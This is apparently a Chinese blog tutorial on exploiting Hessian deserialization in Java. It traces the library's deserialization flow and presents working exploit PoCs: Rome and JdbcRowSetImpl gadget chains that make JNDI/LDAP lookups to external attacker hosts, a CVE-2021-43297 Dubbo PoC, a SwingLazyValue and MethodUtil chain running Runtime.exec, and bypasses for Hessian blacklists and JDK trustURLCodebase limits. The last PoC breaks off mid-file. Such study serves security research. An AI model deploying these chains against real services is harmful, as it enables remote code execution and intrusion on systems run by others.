java反序列化java反序列化之Hessian
Sherlock引用
Java反序列化之Hessian
Java安全之Hessian反序列化
Hessian协议
Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输
对于 Hessian2 协议,Java 的HashMap
对象经过序列化后首位字节由M
变为了H
,对应 ascii 码 72,其他的区别不大
项目中加入依赖
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
|
基础使用
序列化
1 2 3 4 5 6 7 8
| public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
|
反序列化
1 2 3 4 5
| public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return hessian2Input.readObject(); }
|
寻找之旅
普通反序列化流程
创建一个普通类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package org.example;
public class Person { public String name; public transient int age; private float weight; public Person(String name,int age,float weight){ this.name = name; this.age = age; this.weight = weight; }
public String getName() { return name; }
public int getAge() { return age; }
public float getWeight() { return weight; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + ", weight=" + weight + '}'; } }
|
测试
1 2 3
| String s = ser(new Person("sherlock",21,67)); Person person = (Person) unser(s); System.out.println(person);
|
运行之后报错如下

从报错信息很清楚地就可以看出来问题出在Person类没有实现Serializable接口,自己打断点跟踪可以发现原因是在于Hessian在序列化数据的时候还是会检查是否实现Serializable接口

但是在Hessian中,序列化的这个规则很容易被打破,在上图代码中存在一个变量_isAllowNonSerializable
,在hessian中可以由下面的语句设置为true
1
| hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|

改完之后我们再次运行,返回结果如下

可以看到被transient修饰的字段不会被序列化,反序列化的时候返回默认值
也就是说Hessian的反序列化理论上支持反序列化任何对象
ok,接下来我们开始跟进反序列化流程
我们跟进readObject方法,这里的buffer是待反序列化字节流,然后取标识位,用于判断是什么类型的对象

这里我们是自定义的类,所以走到了case ‘C’

跟进readObjectDefinition,通过readString()方法获取到类名,readInt()方法获取到未被transient修饰的字段数,findSerializerFactory()方法获取到默认的工厂类SerializerFactory

接下来是通过工厂类来获取反序列化器,我们跟进去
一路步入到如下所示

往下走,会从一个表_staticTypeMap中获取基础类型的反序列化器,我们这是自定义的类,所以自然是没有的

继续往下走该处,跟进去

跟进load方法

诶,这似乎是对反序列化的类进行一定的判断,跟进isAllow方法

白名单为空,所以核验类是否在黑名单中

都没有,最后返回true,进入if内容中进行一个类加载,返回

跟进getDeserializer方法

再跟进loadDeserializer方法,一直往下走,跟进getDefaultDeserializer方法

我们可以发现最后获取的反序列化器是UnsafeDeserializer

跟进去看看,可以发现在UnsafeDeserializer类的静态代码块中进行了unsafe对象的加载

回到它的构造函数中,有一个getFieldMap方法对类进行一个对应field的获取
跟进去简单看一下,看到了对transient和static属性的处理,直接跳过不处理,这也是为什么前面观察到age属性无法被反序列化

获取到的field会被存入一个hashmap里

全部获取完返回后下一行代码就是对readResolve方法进行一个处理,跟原生反序列化一样,我们跟进去看看

该函数逻辑很简单,就是遍历所有的方法,如果存在readResolve方法就方法它,不存在就返回null

我们并没有重写readResolve方法,返回null,一路返回,最后是获取到的反序列化器便是UnsafeDeseializer

继续返回,还会将获取到的反序列化器put进_cachedDeserializerMap表中

然后继续返回,还会put进_cachedTypeDeserializerMap中

最后返回到readObjectDefinition方法,reader便被赋为了UnsafeDeseializer

往下走,会通过readString()方法来获取field的名字,然后丢进fields和fieldNames数组中

继续往下,这里便是对前面重要内容进行一个封装,然后add到_classDefs类定义中


然后我们就步出了readObjectDefinition方法,方法如其名就是获取类的各种属性、反序列化器等并将其进行封装或put
接着我们跟进readObject方法

走到这部分,会从_classDefs中获取到我们封装的重要内容,再跟进readObjectInstance方法

上面部分就是会获取类的各种属性、反序列化器等等,然后我们跟进readObject函数中(可以看到时通过unsafeDeserializer进行的反序列化)


通过instantiate()方法会获取到一个空的Person对象,然后再跟进readObject方法

这两步结束后,就完成了对对象的赋值,反序列化进程结束
漏洞点
上面的流程跟完了之后,感觉并没有像fastjson,jacskon那样在反序列化过程中有调用到任何的getter和setter,全部都是用过unsafe进行的操作
那漏洞点在哪里呢?
答案就在于Hessian对于Map的反序列化过程中,会将反序列化过后的键值对put进map中
hashCode()
创建一个HashMap对象并进行调试
跟进readObject后,会走到case ‘H’处

跟进readMap方法

我们可以看到当type为null,获取不到反序列化器时,会新生成一个_type值为HashMap的MapDeserializer对象
跟进它的readMap方法

如果_type为null则会自动给map赋为HashMap;如果它是Map类,则也会被当作HashMap;如果它是StoredMap类,则是被当作TreeMap进行反序列化
_type不为以上三种则直接生成对象
然后开始将键值对分别反序列化后存入map中

熟悉的put方法,之前我们都有跟过在HashMap调用put方法的时候,为了检测key值的唯一性,会先调用hash(key),进而调用key.hashCode()


所以很明显了,我们可以在HashMap的key处做文章,将hashCode方法作为入口点
equals()
在putVal方法里面,还会调用key的equals方法

compareTo()/compare()
对于TreeMap,为了检验key值
改一个自定义的Comparable
1 2 3 4 5 6 7 8 9
| TreeMap<Object,Object> treeMap = new TreeMap<>(); treeMap.put(new Comparable() { @Override public int compareTo(Object o) { return 0; } }, null); String treeMapStr = ser(treeMap); unser(treeMapStr);
|
进行调试,跟进readObject,走到case ‘M’
先是通过readType()获取到type值,然后再调用readMap方法

跟进去,然后走到MapDeserializer的readMap()处

继续跟进去

跟我们第一个分析的HashMap大差不差,差别比较大的就是TreeMap的put方法,这里我们跟进去

跟进第一个compare方法

comparator默认为null,所以会对k1调用了compareTo(),如果comparator(反射可赋值)不为null,还能调用comparator的compare()方法
因此我们就自然而然地走到了我们自己重写的compareTo方法

gadget
Rome
正好呢前段时间刚学完Rome反序列化,这里我们也正好可以用上
实际上一整条链子和yso的几乎没什么区别
1 2 3 4 5 6 7 8 9 10 11
| JdbcRowSetImpl.getDatabaseMetaData() Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString() ObjectBean.toString() EqualsBean.beanHashCode() HashMap.hash() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
|
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package org.example;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class Test { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://47.113.102.46:50389/53bee6"; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("aaa", "123"); Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null){ setField(entry,"key",equalsBean); } } String s = ser(hashMap); unser(s); }
public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); }
public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream= new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return hessian2Input.readObject(); } }
|
有个小问题就是相比于yso的rome链,这里没办法使用TemplatesImpl,一开始没有报错也不清楚问题出在哪
摸索了一番之后猜测原因在于_tfactory属性是transient的,在原生反序列化中通过重写readObject()来给其赋值,但是在hessian中对于transient的属性是没办法反序列化的,并且只能在readResolve()中可能还原
二次反序列化
利用java.security.SignedObject下的getObject()方法实现原生反序列化

在使用Java原生的反序列化时,如果被反序列化的类重写了readObject()
,那么Java就会通过反射来调用重写的readObject()
下面我们来看TemplatesImpl类的readObject()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException { SecurityManager security = System.getSecurityManager(); if (security != null){ String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET); if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) { ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR); throw new UnsupportedOperationException(err.toString()); } } ObjectInputStream.GetField gf = is.readFields(); _name = (String)gf.get("_name", null); _bytecodes = (byte[][])gf.get("_bytecodes", null); _class = (Class[])gf.get("_class", null); _transletIndex = gf.get("_transletIndex", -1); _outputProperties = (Properties)gf.get("_outputProperties", null); _indentNumber = gf.get("_indentNumber", 0); if (is.readBoolean()) { _uriResolver = (URIResolver) is.readObject(); } _tfactory = new TransformerFactoryImpl(); }
|
可以看到这里手动new了一个TransformerFactoryImpl类赋值给_tfactory
,这样就解决了_tfactory
无法被序列化的情况
所以这里我们就可以配合SignedObject类来实现,在SignedObject类的构造函数能够序列化一个类并且将其存储到属性content
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package org.example;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.Base64; import java.util.HashMap;
public class Test { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class")); setField(templatesimpl,"_name","aaa"); setField(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setField(templatesimpl, "_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setField(badAttributeValueExpException,"val",toStringBean); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine); ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("aaa", "123"); Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null){ setField(entry,"key",equalsBean); } } String s = ser(hashMap); unser(s); }
public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); }
public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream= new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return hessian2Input.readObject(); } }
|
Resin
导入依赖
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>resin</artifactId> <version>4.0.63</version> </dependency>
|
Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)
在Hissian2Input#expect()方法下,存在这么几点需要注意的
1、Input序列化流的offset在这个过程中自减1
2、offset自减1后,调用readObject()进行反序列化
3、将obj和字符串进行拼接,将调用obj的toString()方法
toString()能够大大延伸利用链

查找用法,除了readObject()之外几乎所有read**()方法都有调用

查找用法走到readString()方法,读取一个字节流,经过判断是否为一些基本类型之后,若都不是,则走进default来执行expect()抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public String readString() throws IOException { int tag = read();
switch (tag) { case 'N': return null; case 'T': return "true"; ......
default: throw expect("string", tag); } }
|
在上面跟踪反序列化流程的时候,提到过在readObjectDefinition()中获取类类型的时候第一步就会调用readString()方法来获取对象的type
在readObject()中,当第一个字节为大写’C’,对应ascii为67

前面我们提到,hessian是通过byte每一部分的第一个字符即tag作为标识符来判断后续一部分字节流对应的类型
前面使用hashmap的时候Byte的第一位为72,即’H’,会走到hashmap的反序列化流程
重要的是,这一部分字节流都是我们可控的
接下来就是如何让tag为67了,可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package org.example;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.util.Base64;
public class Test { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://47.113.102.46:50389/c8ad0f"; jdbcRowSet.setDataSourceName(url); ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeObject(bean); hessian2Output.close(); byte[] data = byteArrayOutputStream.toByteArray(); byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); System.out.println(hessian2Input.readObject()); hessian2Input.close(); } }
|
Hessian-jdk原生链
Runtime
入口点在javax.activation.MimeTypeParameterList的toString(),调用了parameters的get方法,而这里的parameters方法是一个HashTable

查一下HashTable的子类,看看哪个是有get方法的
结果只有UIDefaults有get()方法,并在其中调用了getFromHashtable(),传入的key可控

在getFromHashtable()中,value从hashtable中通过key获取,LazyVlue是一个接口,若value是LazyValue的子类,调用value的createValue()方法


依次找一找LazyValue实现类的createValue()
在LazyPainter下的createValue()中有类加载和类实例化,前面讲到CC链的时候提到TrAXFilter的构造器下调用了Templates的newTransformer()方法实现攻击
但是定睛一看,1332行指定了构造器的参数,和我们想要的的TrAXFilter完全不同,走不通,继续看看

还有一个实现类SwingLazyValue,看看它的createValue()方法

从该方法的具体内容中我们可以知道这里只能调用任意的静态方法,不能够调用实例方法
但是嘞,下面通过构造函数任意实例化对象到倒是了我们如何利用TrAXFilter提供了一个思路
看一下SwingLazyValue的构造函数

回顾一下利用流程:
1 2 3 4
| javax.activation.MimeTypeParameterList.toString() javax.swing.UIDefaults.get(Object) javax.swing.UIDefaults.getFromHashtable(Object) SwingLazyValue.createValue(UIDefaults)
|
初步构造一下
1 2 3 4 5 6 7
| Object[] arg = new Object[]{getTemplates()}; MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter",null,arg); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults); System.out.println(mimeTypeParameterList);
|
但是是能走到createValue()中的,当步过获取构造函数的一行的时候抛出异常

观察className等均没问题,感觉问题是出在getClassArray()的返回值,跟进去看看,最后通过getClass()来获取TemplatesImpl的class的

但是我们去看看TrAXFilter的构造函数,参数是接口Templates而并非TemplatesImpl,所以在getConstructor()的时候会出错

目前不知如何解决,所以转换一下思路,看看静态方法调用如何能够如何利用
MethodUtil的invoke方法可以调用任意对象的方法(这里指的是该类中的static的invoke方法)

直接使用的话方法如下
1
| MethodUtil.invoke(Runtime.class.getDeclaredMethod("exec", String.class),Runtime.getRuntime(),new Object[]{"calc"});
|
但是如果在SwingLazyValue()构造函数中传
很容易发现,Runtime.getRuntime()在进入SwingLazyValue.createValue()之后会获取其类Runtime.class
1
| SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{Runtime.class.getDeclaredMethod("exec", String[].class),Runtime.getRuntime(),new Object[]{"calc"}});
|
但是MethodUtil.invoke()的第二个参数是Object而不是Runtime,因此Method会获取失败

所以这里要做一个简单的变通,二次调用MethodUtil.invoke(),因为MethodUtil.invoke()是静态方法,所以二次调用中第二个参数可以是任意的值
为了符合SwingLazyValue.createValue()中获取Method的type,我们让它是Object对象
1 2 3
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class); MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});
|
正向构造一下poc并用println()触发toString():
1 2 3 4 5 6 7 8 9 10
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}}); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults); System.out.println(mimeTypeParameterList);
|
成功弹出计算器,接下来就是要思考反序列化过程中如何触发toString()方法了
很简单,利用上面刚刚学过的异常处理时反序列化,在序列化后的字节组前面再添加一个’67’就可以啦
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package org.example;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory; import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
import java.util.*;
public class Test {
public static void main(String[] args) throws Exception {
Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}}); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults);
String s = ser(mimeTypeParameterList); System.out.println(s); unser(s);
}
public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); Object obj = hessian2Input.readObject(); return obj; }
public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); byteArrayOutputStream.write(67); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); }
public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return (T) constructor1.newInstance(); }
}
|
用上述poc的话hessian版本需要在4.0.60以下
要是遇到一些奇怪的报错可看看该文章找个原因:https://blog.potatowo.top/2024/11/12/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BHessian
hessian高版本绕过
hessian>=4.0.60
在上面分析反序列化过程中我们用的hessian版本就是大于4.0.60的,在这过程中有个函数isAllow(),在低版本里面只有一个白名单,并且其中还是空的,所以基本没什么用处
在高版本里面增加了一个黑名单的判断,并且是禁了Runtime的
但是JdbcRowSetImpl.getDatabaseMetaData()导致的jndi注入,并没有在黑名单中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");
Field field = BaseRowSet.class.getDeclaredField("dataSource"); field.setAccessible(true); JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class); field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}}); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults);
String s = ser(mimeTypeParameterList); unser(s);
|
在jdk低版本,hessian高版本情况下成功弹窗
JNDI绕过jdk高版本trustURLCodebase限制
在前面学习jndi注入的时候还要学到一种方法,就是利用System.setProperty()方法来修改系统变量,乍一看System好像在前面Hessian高版本的黑名单中,但是实际上序列化的并不是System对象,而是setProperty()方法的Method对象,所以在Hessian高版本依旧行得通
回到上面,观察javax.activation.MimeTypeParameterList的toString()的代码,很容易看出对UIDefaults进行键值对的遍历
因此能够在触发payload的value之前,put一个调用setProperty()方法的value
但是突然想到一个问题
调用setProperty()之后,第一个键值对完成了他的使命,java程序抛出了异常
所以程序无法继续执行下去,代码蛮写一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData"); Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);
MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class); SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});
Field field = BaseRowSet.class.getDeclaredField("dataSource"); field.setAccessible(true); JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class); field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});
defaults.put("777",swingLazyValue0); defaults.put("1",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
String s = ser(mimeTypeParameterList); unser(s);
|
若用try结构也能触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData"); Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);
MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults0 = new UIDefaults(); SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});
Field field = BaseRowSet.class.getDeclaredField("dataSource"); field.setAccessible(true); JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class); field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});
defaults0.put("777",swingLazyValue0); defaults.put("1",swingLazyValue);
setField(mimeTypeParameterList0,"parameters",defaults0); setField(mimeTypeParameterList,"parameters",defaults);
try { String s0 = ser(mimeTypeParameterList0); System.out.println(s0); unser(s0); }finally { String s = ser(mimeTypeParameterList); System.out.println(s); unser(s); }
|
PKCS9Attributes
1 2 3 4 5 6 7
| PKCS9Attributes#toString-> PKCS9Attributes#getAttribute-> UIDefaults#get-> UIDefaults#getFromHashTable-> UIDefaults$LazyValue#createValue-> SwingLazyValue#createValue-> InitialContext#doLookup()
|
InitialContext.doLookup()
除了上面的MethodUtils之外,InitialContext.doLookup()也是可利用的静态方法,能直接进行jndi注入

Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package org.example;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory; import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
import java.util.*;
public class Test {
public static void main(String[] args) throws Exception {
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new Object[]{"ldap://192.168.43.143:50389/56a5ff"});
defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults);
String s = ser(mimeTypeParameterList); System.out.println(s); unser(s);
}
public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); Object obj = hessian2Input.readObject(); return obj; }
